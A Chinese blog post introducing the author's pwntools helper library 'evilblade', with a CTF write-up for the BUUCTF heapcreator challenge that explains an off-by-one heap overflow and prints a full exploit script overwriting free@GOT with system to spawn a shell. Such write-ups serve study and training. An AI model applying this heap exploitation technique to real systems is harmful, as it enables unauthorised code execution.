魔刀千刃的特写

诞生之日:2023.7.29

此后会在此记录如何自己写一个自己的python库以及魔刀千刃的维护过程。

魔刀千刃(evilblade)



**只攻不防,天下无双**

实战

(和堆攻击帖子重合了,没关系)

0x0b hitcontraining_heapcreator

这是buu的pwn第二页最后一题,终于搞定了。

今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。

一开始不知道off-by-one(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)

意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。

但是我一开始打的是unsorted bin attack来泄露地址……有点笨了,所以前面有一些没用的代码。

我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。

卡了我一晚上,最后换了11的库patch上才好了。

from pwn import *
from evilblade import * context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug') setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25102)
evgdb() def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content) def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content) def free(idx):
sla(':','4')
sla(':',str(idx)) def dump(idx):
sla(':','3')
sla(':',str(idx)) add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet('add')
addr = tet('add')
addr = get64('add')
base = getbase(addr, 'write',0x2cd7c8) edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2) add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet('add')
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
fp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free') os = base+0xf1147
sys = symoff('system',base) edit(1,p64(sys)) free(0)
ia()

[刺客伍六七&黑客] 魔刀千刃的更多相关文章

  1. 2017-2018-1 我爱学Java 第六七周 作业

    团队六七周作业 完善版需求规格说明书 制定团队编码规范 数据库设计 后端架构设计 TODOList 参考资料 完善版需求规格说明书 <需求规格说明书>初稿不足之处: 1.开发工具写错 2. ...

  2. 201871010104-陈园园 《面向对象程序设计(java)》第六——七周学习总结

    201871010104-陈园园 <面向对象程序设计(java)>第六——七周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daiz ...

  3. 201871010106-丁宣元 《面向对象程序设计(java)》第六—七周学习总结

    201871010106-丁宣元 <面向对象程序设计(java)>第六—七周学习总结 正文开头 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu- ...

  4. 201871010128-杨丽霞《面向对象程序设计(java)》第六-七周学习总结

    201871010128-杨丽霞<面向对象程序设计(java)>第六-七周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ ...

  5. 201871010132-张潇潇-《面向对象程序设计(java)》第六-七周学习总结

    201871010132-张潇潇-<面向对象程序设计(java)>第六-七周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh ...

  6. Linux系统管理第五六七章 权限及归属管理 磁盘管理 文件系统与lvm

    第五六七章   alias 查看系统别名   67 chmod 设置文件或目录的权限 -R表示以递归的方式设置目录及目录下的所有子目录及文件的权限 u:属主 g:属组 o:其他人 a:所有人 +:添加 ...

  7. 201871010113-刘兴瑞《面向对象程序设计(java)》第六-七周学习总结

    项目 内容 这个作业属于哪个课程 <任课教师博客主页链接> https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 <作业链接地址>htt ...

  8. [Effective Java 读书笔记] 第二章 创建和销毁对象 第六-七条

    第六条 消除过期引用 JAVA中依然会有 memory leak的,比如一个栈先增长再收缩,那么从栈中弹出的对象是不会被当做垃圾回收的,即时使用栈的程序不再引用这些对象.这是因为栈的内部维护着对这些对 ...

  9. JAVA第六七八次大作业

         21201411-李英涵            前言:这几次的作业较为简单,主要思路就是利用正则表达式来过滤掉不需要的信息.  题量设置较为合理,比之前的多边形好做一些,应该是老师为了捞起来 ...

  10. Hacker(六)----黑客藏匿之地--系统进程

    windows系统中,进程是程序在系统中的依次执行活动.主要包括系统进程和程序进程两种. 凡是用于完成操作系统各种功能的各种进程都统称为系统进程: 而通过启动应用程序所产生的进程则统称为程序进程. 由 ...

随机推荐

  1. 2020-08-22:I/O多路复用中select/poll/epoll的区别?

    福哥答案2020-08-22: select,poll,epoll 都是 操作系统实现 IO 多路复用的机制. 我们知道,I/O 多路复用就通过一种机制,可以监视多个描述符,一旦某个描述符就绪(一般是 ...

  2. 2021-03-28:定义一种数:可以表示成若干(数量>1)连续正数和的数 。比如:5 = 2+3,5就是这样的数 ;12 = 3+4+5,12就是这样的数 。1不是这样的数,因为要求数量大于1个、连续正数和 。2 = 1 + 1,2也不是,因为等号右边不是连续正数 。给定一个参数N,返回是不是可以表示成若干连续正数和的数 。

    2021-03-28:定义一种数:可以表示成若干(数量>1)连续正数和的数 .比如:5 = 2+3,5就是这样的数 :12 = 3+4+5,12就是这样的数 .1不是这样的数,因为要求数量大于1 ...

  3. 2021-05-15:数组为{3, 2, 2, 3, 1},查询为(0, 3, 2),意思是在数组里下标0~3这个范围上,有几个2?答案返回2。假设给你一个数组arr, 对这个数组的查询非常频繁,都给

    2021-05-15:数组为{3, 2, 2, 3, 1},查询为(0, 3, 2),意思是在数组里下标0~3这个范围上,有几个2?答案返回2.假设给你一个数组arr, 对这个数组的查询非常频繁,都给 ...

  4. c++的前世今生

    C++ 语言是本贾尼·斯特劳斯特卢普 在1982 年发明的,早期版本被称为C with Classes,之后在1983年更名为C++. C++语言在发明后很快就获得了广泛的应用,由于其具有高效.灵活和 ...

  5. 为什么说 Go 语言字符串是不可变的?

    原文链接: 为什么说 Go 语言字符串是不可变的? 最近有读者留言说,平时在写代码的过程中,是会对字符串进行修改的,但网上都说 Go 语言字符串是不可变的,这是为什么呢? 这个问题本身并不困难,但对于 ...

  6. 从零实现俄罗斯方块(c语言+思路分析)

    俄罗斯方块 文章说明: 本文大部分参考至俄罗斯方块(C语言实现)_c语言俄罗斯方块_2021dragon的博客-CSDN博客,本人经过修改编辑,改变了文章的一些思路顺序,使得新手便于理解(个人想法). ...

  7. GPT3的应用领域:机器翻译、文本生成、文本摘要

    目录 1. 引言 2. 技术原理及概念 3. 实现步骤与流程 3.1 准备工作:环境配置与依赖安装 3.2 核心模块实现 3.3 集成与测试 4. 应用示例与代码实现讲解 4.1 机器翻译 4.2 文 ...

  8. PostgreSQL 12 文档: PostgreSQL 客户端工具

    PostgreSQL 客户端应用   这部份包含PostgreSQL客户端应用和工具的参考信息.不是所有这些命令都是通用工具,某些需要特殊权限.这些应用的共同特征是它们可以被运行在任何主机上,而不管数 ...

  9. 如何使用libavcodec将.h264码流文件解码为.yuv图像序列?

    一.打开和关闭输入文件和输出文件 //io_data.cpp static FILE* input_file= nullptr; static FILE* output_file= nullptr; ...

  10. mybatis 部分符号需转译 及 IF如何正确判断单个数字字符

    mybatis 部分符号需转译 及 IF如何正确判断单个数字字符 1.Mybatis 转译字符如下下法即可: oracle中的日期查询在mybatis中写法可以参考如下:注意提交时间的<号是用特 ...